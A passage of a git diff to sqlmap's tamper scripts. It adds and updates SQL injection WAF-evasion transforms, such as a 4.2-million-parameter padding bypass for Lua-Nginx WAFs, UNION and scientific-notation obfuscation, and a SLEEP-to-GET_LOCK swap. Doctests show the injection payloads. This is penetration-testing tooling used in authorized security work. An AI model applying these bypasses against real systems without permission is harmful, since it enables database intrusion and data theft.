'0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&qX=&Ia=&Sy=&ZP=&aE=&1p=&u1=&lJ=&o7=&XB=&et=&F5=&gI=&RH=&YH=&7L=&KB=&Kx=&Js=&lL=&OD=&fU=&25=&03=&5H=&yR=&rY=&03=&K6=&JB=&O9=&4X=&fL=&EN=&0p=&Th=&nX=&uY=&gj=&Rc=&J4=&HQ=&bN=&LJ=&yw=&8c=&b7=&lh=&nX=&6b=&Ag=&qn=&Ov=&lF=&cg=&9m=&wT=&Z4=&kP=&7d=&P0=&vp=&LB=&kD=&zJ=&Ft=&wZ=&pI=&aT=&uc=&ro=&7v=&rw=&6N=&MS=&yz=&Oa=&lu=&oN=&x2=&Jz=&yR=&zP=&cB=&qj=&GE=&IU=&2E=&tC=&Y2=&Yl=&9N=&fS=&9y=&Qt=&nS=&aZ=&Gg=&hO=&2r=&8g=&0y=&fr=&CX=&1i=&GO=&v2=&rb=&cQ=&I6=&64=&cU=&RO=&S3=&Nx=&Hm=&Ka=&ju=&WS=&uM=&ck=&8r=&yI=&sD=&oc=&lG=&ey=&uz=&g4=&D0=&8v=&DR=&As=&T3=&5M=&x8=&Ne=&fU=&da=&yG=&BE=&KQ=&Aw=&9q=&WA=&wd=&1R=&3B=&Ph=&ym=&c6=&nj=&mx=&Hj=&98=&jz=&Q2=&E4=&tE=&EP=&mL=&nv=&73=&Yc=&jp=&W0=&KS=&Ye=&f1=&cn=&ca=&0u=&jO=&8F=&3F=&JQ=&XU=&9U=&4m=&HL=&ZD=&Xy=&K0=&XO=&al=&Fp=&e1=&6s=&zY=&dN=&hr=&Zd=&cz=&E1=&SP=&j9=&zL=&xc=&Dj=&cM=&Ng=&Iv=&xW=&E2=&LC=&Nu=&hQ=&MW=&h4=&X4=&2Q=&YG=&Wl=&WB=&UC=&We=&c5=&E3=&6P=&Jn=&fY=&3W=&RA=&sh=&AJ=&56=&zg=&VT=&bB=&Qb=&47=&Se=&ew=&bv=&a8=&Ye=&3m=&mP=&6h=&aw=&bL=&1l=&gv=&7i=&7w=&Ds=&67=&Nl=&9g=&Kj=&36=&Xt=&pU=&sA=&ci=&be=&eA=&IT=&iA=&Nf=&Bw=&6d=&zT=&tm=&sD=&6X=&rI=&QX=&By=&VA=&pC=&6i=&CN=&Dm=&aR=&Ma=&sV=&MH=&jR=&DQ=&Vo=&Vr=&9h=&2c=&pG=&Ky=&gp=&rU=&4K=&cX=&sv=&Gp=&5k=&zr=&GJ=&MG=&zN=&zW=&Ws=&xM=&jR=&xK=&iP=&vD=&zD=&Rt=&Od=&sU=&dM=&bD=&3a=&Ge=&1Q=&UP=&ac=&M9=&2R=&To=&Ur=&gC=&uk=&A3=&AB=&RG=&i4=&BW=&yY=&yn=&m6=&Kd=&yo=&fl=&dN=&kL=&LR=&Fr=&2v=&CN=&F7=&75=&5K=&ER=&nq=&ck=&aO=&iW=&Q8=&y5=&Cv=&g2=&Xu=&Cu=&bc=&wm=&Gl=&mP=&Tt=&1p=&vS=&c5=&eC=&Sc=&Y8=&Ch=&fg=&Vz=&4B=&eA=&UZ=&cl=&Eh=&25=&tA=&Ir=&Hm=&sB=&LH=&qo=&hW=&gT=&pr=&TO=&TF=&1h=&Oh=&Tw=&PR=&On=&Zo=&GP=&oM=&rk=&YI=&uK=&bi=&y8=&Fe=&VW=&WJ=&Rn=&TY=&Vv=&KM=&3g=&ZG=&wC=&an=&OE=&7D=&t0=&qL=&RY=&Wx=&dc=&T7=&vB=&SO=&qP=&sw=&HT=&jb=&Mb=&cn=&Oe=&d8=&A3=&nA=&wk=&u9=&Ux=&zq=>=&QC=&c5=&zy=&ai=&1F=&Tj=&u0=&Yp=&bY=&kW=&Qk=&e5=&LM=&Cj=&Lp=&XT=&b5=&cf=&sj=&ow=&Tz=&qE=&yt=&3I=&8V=&Jq=&QC=&Sz=&Eb=&Tc=&QK=&Wr=&Qm=&Gv=&8m=&Ju=&85=&KS=&Qv=&43=&uU=&aY=&J7=&wM=&uW=&L9=&ai=&ch=&56=&D6=&YW=&Ul=&1 AND 2>1' + '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' """ hints = kwargs.get("hints", {}) delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) - hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500)) + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500)) return payload diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py new file mode 100644 index 00000000000..1d360db1005 --- /dev/null +++ b/tamper/luanginxmore.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import random +import string +import os + +from lib.core.compat import xrange +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of huge number of parameters + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + return payload diff --git a/tamper/misunion.py b/tamper/misunion.py new file mode 100644 index 00000000000..062f049cc0c --- /dev/null +++ b/tamper/misunion.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, **kwargs): + """ + Replaces instances of UNION with -.1UNION + + Requirement: + * MySQL + + Notes: + * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf + + >>> tamper('1 UNION ALL SELECT') + '1-.1UNION ALL SELECT' + >>> tamper('1" UNION ALL SELECT') + '1"-.1UNION ALL SELECT' + """ + + return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 0c4ee3e41d0..458497706cd 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -33,7 +33,7 @@ def tamper(payload, **kwargs): >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') - '1 /*!30874AND 2>1*/--' + '1 /*!30963AND 2>1*/--' """ retVal = payload diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index af358f58b9a..0cf1dd511aa 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 57cc2327208..ab02a0c911c 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,6 +9,7 @@ import re from lib.core.data import kb +from lib.core.datatype import OrderedSet from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL @@ -28,13 +29,13 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 UNION SELECT foobar') - '1 UNION SELECT foobar' + '1 UNION SELECT foobar' """ retVal = payload if payload: - words = set() + words = OrderedSet() for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() @@ -43,7 +44,7 @@ def tamper(payload, **kwargs): words.add(word) for word in words: - retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) - retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randint(1, 4), word, ' ' * random.randint(1, 4)), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randint(1, 4), word), retVal) return retVal diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py new file mode 100644 index 00000000000..7e59ecb2ae6 --- /dev/null +++ b/tamper/ord2ascii.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces ORD() occurences with equivalent ASCII() calls + Requirement: + * MySQL + >>> tamper("ORD('42')") + "ASCII('42')" + """ + + retVal = payload + + if payload: + retVal = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + + return retVal diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 5cc28a6308a..75bd678e775 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 301945f4f6f..391464f6ef7 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index 71259fd88f2..4f4da1f6186 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,15 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index acc800022a8..a1738a11079 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -34,51 +34,22 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') - - while True: - indexes = zeroDepthSearch(retVal, '+') - - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i - - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 - - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - chars[index] = ',' - - retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - chars[i] = ',' - replacement = "CONCAT%s" % "".join(chars) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + part = match.group(0) + + chars = [char for char in part] + for index in zeroDepthSearch(part, '+'): + chars[index] = ',' + + replacement = "CONCAT(%s)" % "".join(chars) + retVal = retVal.replace(part, replacement) return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 99e0a144255..0706275e904 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,6 +10,7 @@ from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -35,63 +36,29 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' - >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') - 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + >>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe') + '1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe' """ retVal = payload if payload: - prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) - retVal = retVal.strip('+') - - while True: - indexes = zeroDepthSearch(retVal, '+') - - if indexes: - first, last = 0, 0 - for i in xrange(1, len(indexes)): - if ' ' in retVal[indexes[0]:indexes[i]]: - break - else: - last = i - - start = retVal[:indexes[first]].rfind(' ') + 1 - end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 - - count = 0 - chars = [char for char in retVal] - for index in indexes[first:last + 1]: - if count == 0: - chars[index] = ',' - else: - chars[index] = '\x01' - count += 1 - - retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) - else: - match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) - if match: - part = match.group(0) - indexes = set(zeroDepthSearch(match.group(1), '+')) - if not indexes: - break - - count = 0 - chars = [char for char in part] - for i in xrange(1, len(chars)): - if i - 1 in indexes: - if count == 0: - chars[i] = ',' - else: - chars[i] = '\x01' - count += 1 - - replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) - retVal = retVal.replace(part, replacement) - else: - break - - retVal = "%s%s%s" % (prefix, retVal, suffix) + match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) + if match: + old = match.group(0) + parts = [] + last = 0 + + for index in zeroDepthSearch(old, '+'): + parts.append(old[last:index].strip('+')) + last = index + + parts.append(old[last:].strip('+')) + replacement = parts[0] + + for i in xrange(1, len(parts)): + replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) + + retVal = retVal.replace(old, replacement) return retVal diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 2e9fb575b1a..24cf7876ff7 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -35,16 +36,22 @@ def tamper(payload, **kwargs): >>> import random >>> random.seed(0) >>> tamper('INSERT') - 'INseRt' + 'InSeRt' + >>> tamper('f()') + 'f()' + >>> tamper('function()') + 'FuNcTiOn()' + >>> tamper('SELECT id FROM `user`') + 'SeLeCt id FrOm `user`' """ retVal = payload if payload: - for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): + for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): word = match.group() - if word.upper() in kb.keywords or ("%s(" % word) in payload: + if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: while True: _ = "" diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 1e9c7815afa..a4a185f79ad 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange +from lib.core.compat import xrange from lib.core.data import kb from lib.core.enums import PRIORITY @@ -15,12 +16,12 @@ def tamper(payload, **kwargs): """ - Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT) + Inserts random inline comments within SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) >>> tamper('INSERT') - 'I/**/N/**/SERT' + 'I/**/NS/**/ERT' """ retVal = payload diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py new file mode 100644 index 00000000000..07a4b2a7bbe --- /dev/null +++ b/tamper/schemasplit.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') + + Requirement: + * MySQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('SELECT id FROM testdb.users') + 'SELECT id FROM testdb 9.e.users' + """ + + return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload diff --git a/tamper/scientific.py b/tamper/scientific.py new file mode 100644 index 00000000000..a9dc194dccf --- /dev/null +++ b/tamper/scientific.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Abuses MySQL scientific notation + + Requirement: + * MySQL + + Notes: + * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + + >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') + '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' + """ + + if payload: + payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) + payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure + + return payload diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py new file mode 100644 index 00000000000..cf2797936a3 --- /dev/null +++ b/tamper/sleep2getlock.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName + True + """ + + if payload: + payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) + + return payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 0f2f813a49b..4efcc1c98e8 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 2f06c5b2d3c..818e118526e 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 4ce7423f6c1..b865e60fcf3 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random import string +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW @@ -27,7 +28,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' + '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227' """ retVal = "" diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 7acf8f6dcfc..4a8d6916dc2 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,6 +10,7 @@ import string from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY @@ -35,7 +36,7 @@ def tamper(payload, **kwargs): >>> random.seed(0) >>> tamper('1 AND 9227=9227') - '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' + '1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227' """ retVal = "" diff --git a/tamper/space2morecomment.py 